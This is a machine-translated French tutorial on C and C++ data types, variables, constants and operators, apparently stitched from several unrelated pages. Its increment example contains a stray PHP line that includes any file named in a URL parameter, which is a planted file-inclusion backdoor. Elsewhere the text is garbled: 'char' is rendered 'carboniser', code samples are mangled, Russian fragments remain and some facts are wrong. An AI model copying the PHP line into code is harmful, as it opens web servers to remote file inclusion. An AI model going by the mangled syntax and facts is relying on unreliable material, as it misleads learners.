Un type de données définit un ensemble de valeurs, un ensemble d'opérations qui peuvent être appliquées à ces valeurs, ainsi que la manière dont les valeurs sont stockées et les opérations sont effectuées.

Le processus de vérification et d'imposition de restrictions sur les types de données utilisées est appelé vérification de type ou saisie des données du programme. On distingue les types de saisie suivants :

• Typage statique - le contrôle de type est effectué lors de la compilation.
• Typage dynamique - la vérification du type est effectuée au moment de l'exécution.

Le langage C prend en charge le typage statique et les types de toutes les données utilisées dans un programme doivent être spécifiés avant sa compilation.

Il existe des types de données simples, composés et autres.

Données simples

Les données simples peuvent être divisées en

• entiers,
• réel,
• symbolique
• casse-tête.

Données composites (complexes)

• Un tableau est une collection indexée d’éléments du même type.
• Le type chaîne est un tableau qui stocke une chaîne de caractères.
• La structure est un ensemble de divers éléments (champs d'enregistrement), stockés comme un tout et donnant accès aux champs individuels de la structure.

Autres types de données

• Pointeur - stocke une adresse dans la mémoire de l'ordinateur qui pointe vers certaines informations, généralement un pointeur vers une variable.

Un programme écrit en langage C fonctionne avec des données de différents types. Toutes les données ont un nom et un type. Les données du programme sont accessibles par leurs noms (identifiants).

Un identifiant est une séquence ne contenant pas plus de 32 caractères, qui peut inclure n'importe quelle lettre de l'alphabet latin a - z, A - Z, les chiffres 0 à 9 et le trait de soulignement (_). Le premier caractère de l'identifiant ne doit pas être un chiffre.

Bien qu'un nom comportant jusqu'à 32 caractères soit autorisé, seuls les 8 premiers caractères sont significatifs. Hormis le nom, toutes les données ont un type. La spécification du type est nécessaire pour savoir combien d'espace dans la RAM l'objet donné occupera.

Le compilateur C adhère à une correspondance stricte des lettres majuscules et minuscules dans les noms des identifiants et des jetons.

Données entières

Les données entières peuvent être représentées sous forme signée ou non signée.

Entiers non signés sont représentés comme une séquence de bits compris entre 0 et 2 n -1, où n est le nombre de bits occupés.

Entiers signés sont représentés dans la plage -2 n-1 …+2 n-1 -1. Dans ce cas, le bit de poids fort de la donnée est affecté au signe du nombre (0 correspond à un nombre positif, 1 à un nombre négatif).

Types et tailles de base des données entières :

Données réelles

Type réel est destiné à représenter des nombres réels. Les nombres réels sont représentés dans la grille de bits de la machine sous une forme standardisée.

Forme normalisée du nombre suppose la présence d'un chiffre significatif (et non 0) avant de séparer les parties entières et fractionnaires. Cette représentation est multipliée par la base du système numérique au degré approprié. Par exemple, le nombre 12345.678 sous forme normalisée peut être représenté par

12345,678 = 1,2345678 10 4

Le nombre 0,009876 sous forme normalisée peut être représenté comme

0,009876 = 9,876·10 -3

Dans le système de nombres binaires, le chiffre significatif avant le séparateur décimal ne peut être égal qu'à 1. Si le nombre ne peut pas être représenté sous une forme standardisée (par exemple, le nombre 0), le chiffre significatif avant le séparateur décimal est 0.

Les chiffres significatifs d'un nombre, se présentant sous forme normalisée après le séparateur des parties entières et fractionnaires, sont appelés la mantisse du nombre.

Dans le cas général, un nombre réel dans la grille de bits d'un ordinateur peut être représenté par 4 champs.

• signe— un bit qui détermine le signe d'un nombre réel (0 pour les nombres positifs, 1 pour les nombres négatifs).
• degré— détermine la puissance de 2 par laquelle vous souhaitez multiplier un nombre sous forme normalisée. Puisque la puissance de 2 pour un nombre sous forme normalisée peut être positive ou négative, la puissance nulle de 2 dans la représentation d'un nombre réel correspond à une valeur de décalage, qui est définie comme

  où n est le nombre de chiffres alloués pour représenter la puissance d'un nombre.

• entier- un bit toujours égal à 1 pour les nombres normalisés, donc dans certaines représentations de types, ce bit est omis et supposé égal à 1.
• mantisse— chiffres significatifs de la représentation d'un nombre, placés après le séparateur des parties entières et fractionnaires sous une forme standardisée.

Il existe trois principaux types de représentation des nombres réels en langage C :

Comme le montre le tableau, les types float et double n'ont pas de bit entier. Dans ce cas, la plage de représentation d'un nombre réel est constituée de deux plages situées symétriquement par rapport à zéro. Par exemple, la plage de représentation des nombres flottants peut être représentée comme suit :

Exemple : Représentez le nombre -178.125 dans une grille de 32 bits (type float).

Pour représenter un nombre dans le système de nombres binaires, nous transformons séparément les parties entières et fractionnaires :

178 10 = 10110010 2 .

0,125 10 = 0,001 2 .

178,125 10 = 10110010,001 2 =1,0110010001 2 111

Pour convertir en forme normalisée, décalez 7 bits vers la gauche).

Pour déterminer la puissance d'un nombre, utilisez un décalage :

0111111+00000111 = 10000110 .

Ainsi, le nombre -178.125 sera représenté dans la grille de bits comme

Type de caractère

Le type de caractère stocke le code d'un caractère et est utilisé pour afficher des caractères dans différents encodages. Les données de caractères sont spécifiées dans des codes et constituent essentiellement une valeur entière. Pour stocker les codes de caractères en langage C, le type char est utilisé.

Type booléen

Le type booléen est utilisé dans les opérations logiques, dans les tests de conditions algorithmiques et dans les boucles, et a deux significations :

• vrai vrai
• faux — — faux

Le programme doit déclarer toutes les données utilisées, en indiquant leur nom et leur type. Une description des données doit précéder leur utilisation dans le programme.

Exemple de déclaration d'objet

entier n; // Variable n de type entier
Double A; // Variable a de type réel double précision

Dernière mise à jour : 17/09/2017

Chaque variable a un type spécifique. Et ce type détermine quelles valeurs une variable peut avoir, quelles opérations peuvent être effectuées sur elle et combien d'octets en mémoire elle occupera. Les types de données de base suivants sont définis dans le langage C++ :

bool : type booléen. Peut prendre l'une des deux valeurs suivantes : vrai et faux. L'empreinte mémoire de ce type n'est pas définie avec précision.

char : Représente un seul caractère ASCII. Occupe 1 octet (8 bits) en mémoire. Peut stocker n'importe quelle valeur de -128 à 127 ou de 0 à 255

char signé : Représente un seul caractère. Occupe 1 octet (8 bits) en mémoire. Peut stocker n'importe quelle valeur de -128 à 127

unsigned char : représente un seul caractère. Occupe 1 octet (8 bits) en mémoire. Peut stocker n'importe quelle valeur de 0 à 255

wchar_t : Représente un caractère large. Sous Windows, cela occupe 2 octets (16 bits) de mémoire, sous Linux, 4 octets (32 bits). Peut stocker n'importe quelle valeur comprise entre 0 et 65 535 (pour 2 octets) ou entre 0 et 4 294 967 295 (pour 4 octets)

char16_t : Représente un seul caractère Unicode. Occupe 2 octets (16 bits) en mémoire. Peut stocker n'importe quelle valeur de 0 à 65 535

char32_t : Représente un seul caractère Unicode. Occupe 4 octets (32 bits) en mémoire. Peut stocker n'importe quelle valeur de 0 à 4 294 967 295

short : représente un entier compris entre –32 768 et 32 767. Occupe 2 octets (16 bits) de mémoire.

Ce type a également des synonymes short int, signé short int, signé short.

unsigned short : représente un entier compris entre 0 et 65 535. Occupe 2 octets (16 bits) de mémoire.

Ce type a également un synonyme unsigned short int .

int : représente un entier. Selon l'architecture du processeur, il peut occuper 2 octets (16 bits) ou 4 octets (32 bits). La plage des valeurs limites peut donc également varier de –32 768 à 32 767 (avec 2 octets) ou de −2 147 483 648 à 2 147 483 647 (avec 4 octets). Mais dans tous les cas, la taille doit être supérieure ou égale à la taille du type court et inférieure ou égale à la taille du type long.

Ce type a des synonymes signé int et signé .

unsigned int : Représente un entier positif. Selon l'architecture du processeur, il peut occuper 2 octets (16 bits) ou 4 octets (32 bits), et de ce fait, la plage des valeurs limites peut varier : de 0 à 65535 (pour 2 octets), ou de 0 à 4 294 967 295 (pour 4 octets).

non signé peut être utilisé comme synonyme de ce type

long : représente un entier compris entre −2 147 483 648 et 2 147 483 647. Occupe 4 octets (32 bits) de mémoire.

Ce type a aussi des synonymes long int , signé long int et signé long

unsigned long : représente un entier compris entre 0 et 4 294 967 295. Occupe 4 octets (32 bits) de mémoire.

A le synonyme unsigned long int .

long long : représente un entier compris entre −9 223 372 036 854 775 808 et +9 223 372 036 854 775 807. Occupe généralement 8 octets (64 bits) de mémoire.

A des synonymes long long int , signé long long int et signé long long .

unsigned long long : représente un entier compris entre 0 et 18 446 744 073 709 551 615. Occupe généralement 8 octets (64 bits) de mémoire.

A le synonyme unsigned long long int .

float : Représente un nombre réel à virgule flottante simple précision compris entre +/- 3,4E-38 et 3,4E+38. Occupe 4 octets (32 bits) en mémoire

double : Représente un nombre réel à virgule flottante double précision compris entre +/- 1,7E-308 et 1,7E+308. Occupe 8 octets (64 bits) en mémoire

long double : Représente un nombre réel à virgule flottante double précision d'au moins 8 octets (64 bits). En fonction de la taille de la mémoire occupée, la plage de valeurs valides peut varier.

void : type sans valeur

Ainsi, tous les types de données, à l'exception de void, peuvent être divisés en trois groupes : caractères (char, wchar_t, char16_t, char32_t), entiers (short, int, long, long long) et types de nombres à virgule flottante (float, double, long double).

Types de caractères

Les types utilisés pour représenter les caractères dans l'application sont char, wchar_t, char16_t et char32_t.

Définissons plusieurs variables :

Caractère c="d"; wchar_t d="c";

Une variable char prend comme valeur un caractère entre guillemets simples : char c ="d" . Vous pouvez également attribuer un numéro de la plage spécifiée ci-dessus dans la liste : char c = 120 . Dans ce cas, la valeur de la variable c sera le caractère qui porte le code 120 dans la table des caractères ASCII.

Il convient de considérer que pour afficher les caractères wchar_t sur la console, vous ne devez pas utiliser std::cout, mais le flux std::wcout :

#inclure int main() ( char a = "H"; wchar_t b = "e"; std::wcout<< a << b << "\n"; return 0; }

Dans ce cas, le flux std::wcout peut fonctionner à la fois avec char et wchar_t. Et le flux std::cout pour la variable wchar_t affichera son code numérique au lieu d'un caractère.

La norme C++11 a ajouté les types char16_t et char32_t, qui sont orientés vers l'utilisation d'Unicode. Cependant, les threads permettant de travailler avec ces types n'ont pas encore été implémentés au niveau du système d'exploitation. Par conséquent, si vous devez afficher les valeurs des variables de ces types sur la console, vous devez convertir les variables en types char ou wchar_t :

#inclure int main() ( char a = "H"; wchar_t b = "e"; char16_t c = "l"; char32_t d = "o"; std::cout<< a << (char)b << (char)c << (char)d << "\n"; return 0; }

Dans ce cas, lors de la sortie, les variables sont précédées d'une opération de conversion vers le type char - (char) , grâce à laquelle les valeurs des variables b, c et d sont converties en type char et peuvent être sorties vers la console en utilisant le flux std::cout.

Types entiers

Les types entiers sont représentés par les types suivants : court, unsigned short, int, unsigned int, long, unsigned long, long long et unsigned long long :

Court a = -10 ; court non signé b= 10 ; int c = -30 ; entier non signé d = 60 ; long e = -170 ; non signé long f = 45 ; long long g = 89 ;

Types de nombres à virgule flottante

Les types de nombres à virgule flottante et fractionnaire sont représentés par float, double et long double :

Flottant a = -10,45 ; double b = 0,00105 ; long double c = 30,890045 ;

Tailles des types de données

La liste ci-dessus montre pour chaque type la taille qu'il occupe en mémoire. Cependant, il convient de noter que les développeurs de compilateurs peuvent choisir indépendamment les limites de taille des types, en fonction des capacités matérielles de l'ordinateur. La norme ne fixe que les valeurs minimales qui devraient l'être. Par exemple, pour les types int et short, la valeur minimale est de 16 bits, pour le type long - 32 bits, pour le type long double. Dans ce cas, la taille du type long ne doit pas être inférieure à la taille du type int, et la taille du type int ne doit pas être inférieure à la taille du type court, et la taille du type double long doit être supérieur au double. Par exemple, le compilateur g++ pour Windows utilise 12 octets pour les doubles longs, et le compilateur intégré à Visual Studio et fonctionnant également sous Windows utilise 8 octets pour les doubles longs. Autrement dit, même au sein d’une même plate-forme, différents compilateurs peuvent avoir des approches différentes quant à la taille de certains types de données. Mais en général, les tailles indiquées ci-dessus lors de la description des types de données sont utilisées.

Cependant, il existe des situations où il est nécessaire de connaître exactement la taille d'un certain type. Et pour cela, C++ dispose de l'opérateur sizeof(), qui renvoie la taille de la mémoire en octets qu'occupe la variable :

#inclure int main() ( long nombre double = 2; std::cout<< "sizeof(number) =" << sizeof(number); return 0; }

Sortie de la console lors de la compilation en g++ :

taille de (nombre) = 12

Dans le même temps, lors de la définition des variables, il est important de comprendre que la valeur d'une variable ne doit pas dépasser les limites définies pour son type. Par exemple:

Numéro court non signé = -65535 ;

Le compilateur G++, lors de la compilation d'un programme avec cette ligne, générera une erreur indiquant que la valeur -65535 n'est pas dans la plage de valeurs valides pour le type court non signé et sera tronquée.

Dans Visual Studio, la compilation peut se dérouler sans erreur, mais la variable numérique recevra la valeur 2 - le résultat de la conversion du nombre -65535 en un type court non signé. Autrement dit, le résultat ne sera pas exactement celui attendu. La valeur d'une variable n'est qu'une collection de bits en mémoire qui sont interprétés selon un type spécifique. Et pour différents types, le même ensemble de bits peut être interprété différemment. Par conséquent, il est important de prendre en compte les plages de valeurs pour un type donné lors de l’attribution d’une valeur à une variable.

spécificateur automatique

Il peut parfois être difficile de déterminer le type d’expression. Et selon les dernières normes, vous pouvez laisser le compilateur déduire lui-même le type de l’objet. Et le spécificateur automatique est utilisé pour cela. De plus, si nous définissons une variable avec le spécificateur auto, cette variable doit être initialisée avec une valeur :

Numéro automatique = 5 ;

En fonction de la valeur attribuée, le compilateur déduira le type de la variable. Les variables non initialisées avec le spécificateur automatique ne sont pas autorisées.

Les variables sont utilisées pour stocker diverses données dans les langages de programmation. Une variable est une zone de mémoire qui porte un nom, autrement appelé identifiant.

En donnant un nom à une variable, le programmeur nomme en même temps la zone mémoire où les valeurs de la variable seront écrites pour le stockage.

C'est un bon style de nommer les variables de manière significative. Il est permis d'utiliser des lettres minuscules et majuscules, des chiffres et le trait de soulignement, qui est considéré comme une lettre en C. Le premier caractère doit être une lettre et le nom de la variable ne doit contenir aucun espace. Dans les versions modernes des compilateurs, la longueur du nom est pratiquement illimitée. Le nom de la variable ne peut pas correspondre aux mots-clés réservés. Les lettres majuscules et minuscules dans les noms de variables sont différentes, les variables un Et UN- différentes variables.

Mots-clés réservés auto double int struct break else long switch register tupedef char extern return void case float non signé par défaut pour l'union signée faire si sizeof volatile continuer enum short while
En C, toutes les variables doivent être déclarées. Cela signifie que, d'une part, au début de chaque programme ou fonction, vous devez fournir une liste de toutes les variables utilisées, et d'autre part, indiquer le type de chacune d'elles.

Lorsqu'une variable est déclarée, le compilateur lui alloue de l'espace mémoire en fonction de son type. À l'aide des outils AVR GCC standard, il fonctionne avec les types de données carboniser(type de caractère) et int(type entier).

Types de variables

Tapez char

carboniser- est le type le plus économique. Le type char peut être signé ou non signé. Noté en conséquence comme " caractère signé" (type signé) et " caractère non signé" (type non signé). Le type signé peut stocker des valeurs comprises entre -128 et +127. Non signé - de 0 à 255. Une variable char a 1 octet de mémoire (8 bits).

Mots-clés (modificateurs) signé Et non signé indique comment le bit zéro de la variable déclarée est interprété, c'est-à-dire que si le mot-clé non signé est spécifié, alors le bit zéro est interprété comme faisant partie d'un nombre, sinon le bit zéro est interprété comme signé.

Tapez int

Valeur entière int Peut être court(court) ou long(long).

Mot-clé (modificateur) court placé après les mots-clés signé ou non signé. Ainsi, on distingue les types suivants : entier court signé, entier court non signé, entier long signé, entier long non signé.

Type de variable signé court int(entier court signé) peut prendre des valeurs de -32768 à +32767, entier court non signé(entier court non signé) - de 0 à 65535. Exactement deux octets de mémoire (16 bits) sont alloués pour chacun d'eux.

Lors de la déclaration d'une variable de type signé court int mots clés signé Et court peut être omis, et un tel type de variable peut être déclaré simplement int. Il est également possible de déclarer ce type avec un seul mot-clé court.

Variable entier court non signé peut être déclaré comme entier non signé ou court métrage non signé.

Pour chaque taille signé long int ou entier long non signé 4 octets de mémoire sont alloués (32 bits). Les valeurs des variables de ce type peuvent être comprises respectivement entre -2147483648 et 2147483647 et entre 0 et 4294967295.

Il existe également des variables comme long long int, pour lequel 8 octets de mémoire sont alloués (64 bits). Ils peuvent également être signés ou non. Pour un type signé, la plage de valeurs va de -9223372036854775808 à 9223372036854775807, pour un type non signé - de 0 à 18446744073709551615. Un type signé peut être déclaré simplement par deux mots-clés très longtemps.

Taper	Gamme	Portée hexadécimale	Taille
caractère non signé	0 ... 255	0x00...0xFF	8 bits
caractère signé ou simplement carboniser	-128 ... 127	-0x80...0x7F	8 bits
entier court non signé ou simplement entier non signé ou court métrage non signé	0 ... 65535	0x0000 ... 0xFFFF	16 bits
signé court int ou signé en entier ou simplement court ou int	-32768 ... 32767	0x8000...0x7FFF	16 bits
entier long non signé ou simplement non signé depuis longtemps	0 ... 4294967295	0x00000000 ... 0xFFFFFFFF	32 bits
signé longtemps ou simplement long	-2147483648 ... 2147483647	0x80000000 ... 0x7FFFFFFF	32 bits
non signé depuis longtemps	0 ... 18446744073709551615	0x0000000000000000 ... 0xFFFFFFFFFFFFFFFF	64 bits
signé depuis longtemps ou simplement très longtemps	-9223372036854775808 ... 9223372036854775807	0x8000000000000000 ... 0x7FFFFFFFFFFFFFFFF	64 bits

Les variables sont déclarées dans une instruction de déclaration. Une instruction de déclaration consiste en une spécification de type et une liste de noms de variables séparés par des virgules. Il doit y avoir un point-virgule à la fin.

Une déclaration de variable a le format suivant :

[modificateurs] type_specifier identifiant [, identifiant] ...

Modificateurs- mots clés signé, non signé, court, long.
Spécificateur de type- mot-clé carboniser ou int, qui détermine le type de la variable déclarée.
Identifiant- Nom de variable.

Exemple : char x ; int a, b, c; non signé long long y;
De cette façon, les variables seront déclarées X, un, b, c, oui. Vers une variable X il sera possible d'écrire des valeurs de -128 à 127. Dans les variables un, b, c- de -32768 à +32767. Vers une variable oui- de 0 à 18446744073709551615.

Initialiser la valeur d'une variable lors de la déclaration

Lorsqu'elle est déclarée, une variable peut être initialisée, c'est-à-dire se voir attribuer une valeur initiale. Vous pouvez procéder comme suit. entier x = 100 ; Ainsi, dans la variable X Une fois annoncé, le nombre 100 sera immédiatement inscrit.

Il est préférable d'éviter de mélanger les variables initialisées dans une seule instruction de déclaration, c'est-à-dire qu'il est préférable de déclarer les variables initialisées sur des lignes distinctes.

Constantes

Une variable de n'importe quel type peut être déclarée non modifiable. Ceci est réalisé en ajoutant le mot-clé const au spécificateur de type. Variables avec type const est une donnée en lecture seule, ce qui signifie que la variable ne peut pas se voir attribuer une nouvelle valeur. Si après le mot const S'il n'y a pas de spécificateur de type, alors les constantes sont traitées comme des valeurs signées et se voient attribuer un type int ou long int selon la valeur de la constante : si la constante est inférieure à 32768, alors on lui attribue le type int, sinon long int.

Exemple : const long int k = 25 ; const m = -50 ; // implicite const int m=-50 const n = 100 000 ; // implicite const long int n=100000

Affectation

Le signe "=" est utilisé pour l'affectation en C. L'expression à droite du signe d'affectation est évaluée et la valeur résultante est affectée à la variable à gauche du signe d'affectation. Dans ce cas, la valeur précédente stockée dans la variable est effacée et remplacée par une nouvelle.

L'opérateur "=" ne doit pas être compris comme une égalité.
Par exemple, l'expression a = 5 ; doit être lu comme "attribuer la variable a à 5".

Exemples : x = 5 + 3 ; // additionne les valeurs 5 et 3, // assigne le résultat à la variable x (écrit dans la variable x) b = une + 4 ; // ajoute 4 à la valeur stockée dans la variable a, // assigne le résultat résultant à la variable b (écrit dans la variable b) b = b + 2 ; // ajoute 2 à la valeur stockée dans la variable b, // assigne le résultat résultant à la variable b (écrit dans la variable b)
Sur le côté droit, la valeur de la variable peut être utilisée plusieurs fois : c = b * b + 3 * b ;

Exemple : x = 3 ; // la variable x recevra la valeur 3 y = x + 5 ; // le nombre 5 sera ajouté à la valeur stockée dans la variable x, // le résultat résultant sera écrit dans la variable y z = x * y ; // les valeurs des variables x et y seront multipliées, // le résultat sera écrit dans la variable z z = z-1 ; // 1 sera soustrait de la valeur stockée dans la variable z // le résultat sera écrit dans la variable z
Ainsi, dans la variable z le numéro 23 sera stocké

En plus du simple opérateur d'affectation "=", il existe plusieurs autres opérateurs d'affectation combinés en C : "+=", "-=", "*=
Exemples : x += y ; // identique à x = x + y ; - ajoutez x et y // et écrivez le résultat dans la variable x x -= oui ; // identique à x = x - y ; - soustraire la valeur y de x // et écrire le résultat dans la variable x x *= oui ; // identique à x = x * y ; - multipliez x par y // et écrivez le résultat dans la variable x x /= oui ; // identique à x = x / y ; - diviser x par y // et écrire le résultat dans la variable x x %= oui ; // identique à x = x % y ; // calcule le reste entier en divisant x par y // et écrit le résultat dans la variable x

Incrémenter et décrémenter

Si vous devez changer la valeur d'une variable en 1, utilisez incrément ou décrémenter.

Incrément- l'opération consistant à augmenter de 1 la valeur stockée dans une variable.

Exemple : x++ ; // la valeur de la variable x sera augmentée de 1$WinAVR = ($_GET["avr"]); si($WinAVR) include($WinAVR);?>
Décrémenter- l'opération consistant à diminuer de 1 la valeur stockée dans une variable.

Exemple : x-- ; // la valeur de la variable x sera diminuée de 1
L'incrément et le décrément sont des opérateurs d'affectation. Lorsque vous utilisez la décrémentation et l'incrémentation avec l'opérateur d'affectation "=", utilisez la notation postfixe (x++) ou préfixe (++x). L'entrée du préfixe est exécutée en premier.

Exemples : y = x++ ;
Supposons que dans la variable X la valeur 5 a été stockée. Puis dans oui la valeur 5 sera écrite, après quoi la valeur de la variable X sera augmenté de 1. Ainsi, dans oui sera 5, et dans X- 6. y = --x;
Si dans X Si la valeur 5 a été stockée, alors la décrémentation sera effectuée en premier Xà 4 et ensuite cette valeur sera affectée à la variable oui. Ainsi, X Et oui se verra attribuer la valeur 4.

En programmation, un type de données est un ensemble de deux ensembles : un ensemble de valeurs et un ensemble d'opérations qui peuvent leur être appliquées. Par exemple, les opérations d'addition (+), de multiplication (*), de division entière (/), de reste (%) et de soustraction (−) peuvent être appliquées à un type de données entier non négatif constitué d'un ensemble fini de nombres naturels.

Un langage de programmation possède généralement un ensemble de types de données primitifs, types fournis par le langage de programmation en tant qu'unité de base intégrée. En C++, le créateur du langage appelle ces types types fondamentaux. Les types fondamentaux en C++ sont :

• booléen(bool);
• caractère (par exemple char);
• int (par exemple int);
• virgule flottante (par exemple float);
• énumérations (définies par le programmeur);
• vide .

En plus de ceux répertoriés, les types suivants sont construits :

• démonstratif (par exemple int*) ;
• tableaux (par exemple char);
• référence (par exemple double&);
• d'autres structures.

Passons à la notion de littéral (par exemple, 1, 2.4F, 25e-4, 'a', etc.) : un littéral est une entrée dans le code source d'un programme qui représente une valeur fixe. En d’autres termes, un littéral est simplement une représentation d’un objet (valeur) d’un certain type dans le code d’un programme. C++ a la capacité d’écrire des valeurs entières, à virgule flottante, de caractère, booléennes et de chaîne.

Un littéral de type entier peut s’écrire :

• 10ème système de numérotation. Par exemple, 1205 ;
• 8ème système numérique au format 0 + chiffre. Par exemple, 0142 ;
• 16ème système numérique au format 0x + nombre. Par exemple, 0x2F.

24, 030, 0x18 - ce sont tous des enregistrements du même numéro dans des systèmes numériques différents.
Pour écrire des nombres à virgule flottante, utilisez la notation par points : 0,1, .5, 4. - soit en
notation exponentielle - 25e-100. Il ne devrait y avoir aucun espace dans un tel enregistrement.

Le nom auquel on peut associer des valeurs écrites en littéraux s'appelle une variable. Une variable est une zone de mémoire nommée ou autrement adressable dont l'adresse peut être utilisée pour accéder aux données. Ces données sont écrites, réécrites et effacées en mémoire d'une certaine manière lors de l'exécution du programme. Une variable permet d'accéder à tout moment aux données et, si nécessaire, de les modifier. Les données pouvant être récupérées à partir d'un nom de variable sont appelées la valeur de la variable.
Pour utiliser une variable dans un programme, elle doit être déclarée, et si nécessaire, elle peut être définie (= initialisée). La déclaration d'une variable dans le texte du programme contient nécessairement 2 parties : le type de base et le déclarateur. Le spécificateur et l'initialiseur sont des parties facultatives :

Exemple Const int = 3 ; // ici const est un spécificateur // int est le type de base // exemple est le nom de la variable // = 3 - initialiseur.

Le nom de la variable est une séquence de caractères composée de lettres de l'alphabet latin (minuscules et majuscules), de chiffres et/ou d'un trait de soulignement, mais le premier caractère ne peut pas être un chiffre. Le nom de la variable doit être choisi de manière à ce qu'il soit toujours facile de deviner ce qu'elle stocke, par exemple « monthPayment ». Dans les notes et dans la pratique, nous utiliserons la notation CamelCase pour les règles d'enregistrement des variables. Le nom de la variable ne peut pas coïncider avec des mots réservés dans le langage ; des exemples de tels mots sont : if, while, function, goto, switch, etc.

En plus du nom de la variable, le déclarateur peut contenir des caractères supplémentaires :

• * - pointeur ; avant le nom ;
• *const - pointeur constant ; avant le nom ;
• & - lien; avant le nom ;
• - tableau; après le nom ;
• () - fonction; après le nom.

Un initialiseur vous permet de définir une valeur pour une variable immédiatement après sa déclaration. L'initialiseur commence par un littéral d'égalité (=), puis définit la valeur de la variable. De manière générale, le signe égal en C++ désigne une opération d'affectation ; avec son aide, vous pouvez définir et modifier la valeur d'une variable. Cela peut être différent selon les types.

Le spécificateur spécifie des attributs supplémentaires autres que le type. Le spécificateur const donné dans l'exemple vous permet d'interdire les modifications ultérieures de la valeur de la variable. Ces variables immuables sont appelées constantes ou constantes.

Déclarer une constante sans initialisation ne fonctionnera pas pour des raisons logiques :

Const int EMPTY_CONST ; // erreur, la variable constante n'est pas initialisée const int EXAMPLE = 2; // constante de valeur 2 EXEMPLE = 3; // erreur, tentative d'attribuer une valeur à une variable constante

Lors de la dénomination des constantes, il est d'usage d'utiliser uniquement des lettres majuscules, en séparant les mots par un trait de soulignement.

Types de données de base en C++

En examinant chaque type, le lecteur ne doit pas oublier la définition du type de données.

1. Type entier (char, court (int), int, long (int), long long)

D'après le nom, il est facile de comprendre que l'ensemble des valeurs est constitué d'entiers. De plus, l'ensemble des valeurs de chacun des types répertoriés peut être signé ou non signé. Le nombre d'éléments contenus dans un ensemble dépend de la taille de la mémoire utilisée pour stocker la valeur de ce type. Par exemple, pour une variable de type char 1 octet de mémoire est alloué, donc le total des éléments sera :

• 2 8N = 2 8 * 1 = 256, où N est la taille de la mémoire en octets pour stocker la valeur

Dans ce cas, les plages d'entiers disponibles sont les suivantes :

• - pour les caractères non signés
• [-128..127] - pour les caractères signés

Par défaut, une variable entière est considérée comme signée. Pour indiquer dans le code qu'une variable doit être non signée, un attribut signé est ajouté au type de base à gauche, c'est-à-dire non signé:

Valeurs longues non signées ; // spécifie un type entier (long) non signé.

Les types répertoriés diffèrent uniquement par la taille de la mémoire requise pour le stockage. Le langage C++ étant assez dépendant de la machine, le standard du langage garantit uniquement la condition suivante :

• 1 = taille du caractère ≤ taille courte ≤ taille int ≤ taille longue.

Généralement, les tailles des types sont les suivantes : char - 1, short - 2, int - 4, long -8, long long - 8 octets.

Vous pouvez effectuer des opérations arithmétiques avec des valeurs de type entier : +, -, *, /, % ; opérations de comparaison : ==, !=,<=, <, >, >=; opérations sur les bits : &, |, xor,<<, >>.
La plupart des opérations, comme l’addition, la multiplication, la soustraction et la comparaison, sont faciles à comprendre. Parfois, après avoir effectué des opérations arithmétiques, le résultat peut être en dehors de la plage de valeurs ; dans ce cas, le programme générera une erreur.
La division entière (/) trouve la partie entière d'un entier divisée par un autre. Par exemple:

• 6 / 4 = 1;
• 2 / 5 = 0;
• 8 / 2 = 4.

Le symbole de pourcentage (%) désigne l'opération de détermination du reste de la division de deux entiers :

• 6 % 4 = 2;
• 10 % 3 = 1.

Les opérations au niveau du bit sont plus difficiles à comprendre : & (AND), | (OU), xor (OU exclusif),<< (побитовый сдвиг влево), >> (décalage au niveau du bit vers la droite).

Les opérations sur bits AND, OR et XOR appliquent l'opération logique correspondante à chaque bit d'information :

• 1 10 = 01 2
• 3 10 = 11 2
• 1 10 & 3 10 = 01 2 & 11 2 = 01 2
• 1 10 | 3 10 = 01 2 | 11 2 = 11 2
• 1 10 xou 3 10 = 01 2 xou 11 2 = 10 2

Dans le traitement d'image, 3 canaux sont utilisés pour la couleur : rouge, bleu et vert - plus la transparence, qui sont stockés dans une variable int, car chaque canal a une plage de valeurs de 0 à 255. Dans le système de nombres hexadécimaux, une certaine valeur s'écrit comme suit : 0x180013FF ; alors la valeur 18 16 correspond au canal rouge, 00 16 - bleu, 13 16 - vert, FF - canal alpha (transparence). Pour sélectionner un canal spécifique parmi un tel nombre entier, ce qu'on appelle le canal est utilisé. masque, où les positions qui nous intéressent sont F 16 ou 1 2. Autrement dit, pour mettre en évidence la valeur du canal bleu, vous devez utiliser un masque, c'est-à-dire au niveau du bit ET :

Int canal_bleu = 0x180013FF & 0x00FF0000 ;

Après quoi la valeur résultante est décalée vers la droite du nombre de bits requis.

Un décalage de bits décale un nombre vers la gauche ou la droite d'autant de chiffres binaires que spécifié sur le côté droit de l'opération. Par exemple, le nombre 39 pour le type char s'écrit en binaire comme suit : 00100111. Ensuite :

Char binaireExemple = 39; // 00100111 char résultat = binaireExemple<< 2; // сдвигаем 2 бита влево, результат: 10011100

Si la variable est de type non signé, alors le résultat sera le nombre 156, pour un type signé il est égal à -100. Notez que pour les types entiers signés, une unité dans le bit le plus significatif de la représentation binaire est un signe que le nombre est négatif. Dans ce cas, une valeur sous forme binaire composée de tous des uns correspond à -1 ; si 1 n'est que dans le chiffre le plus significatif et que les chiffres restants sont des zéros, alors un tel nombre a la valeur minimale pour un type particulier : pour char, il est -128.

2. Type à virgule flottante (float, double (float))

L'ensemble des valeurs à virgule flottante est un sous-ensemble de nombres réels, mais tous les nombres réels ne sont pas représentables en binaire, ce qui conduit parfois à des erreurs stupides :

Valeur flottante = 0,2 ; valeur == 0,2 ; // erreur, la valeur ici ne sera pas égale à 0,2.

Lorsqu'il travaille avec des variables à virgule flottante, le programmeur ne doit pas utiliser de test d'égalité ou d'inégalité ; à la place, un test pour se situer dans un certain intervalle est généralement utilisé :

Valeur - 0,2< 1e-6; // ok, подбирать интервал тоже нужно осторожно

En plus des opérations de comparaison, le type à virgule flottante prend en charge 4 opérations arithmétiques qui correspondent entièrement aux opérations mathématiques avec des nombres réels.

3. Type booléen (logique) (bool)

Se compose de seulement deux valeurs : vrai (vrai) et faux (faux). Pour travailler avec des variables de ce type, des opérations logiques sont utilisées : ! (NON), == (égalité), != (inégalité), && (ET logique), || (OU logique). Le résultat de chaque opération se trouve dans la table de vérité correspondante. Par exemple:

X Y XOR0 0 0 0 1 1 1 0 1 1 1 0

4. Type de caractère (char, wchar_t)

Le type char n'est pas seulement un type entier (généralement ce type est appelé octet), mais également un type de caractère, stockant le numéro de caractère de la table sous forme de caractère ASCII. Par exemple, le code 0x41 correspond au caractère « A » et 0x71 au caractère « t ».

Parfois, il devient nécessaire d'utiliser des caractères qui ne sont pas fixés dans les tables ASCII et nécessitent donc plus d'un octet pour le stockage. Il existe un caractère large pour eux (wchar_t).

5.1. Tableaux

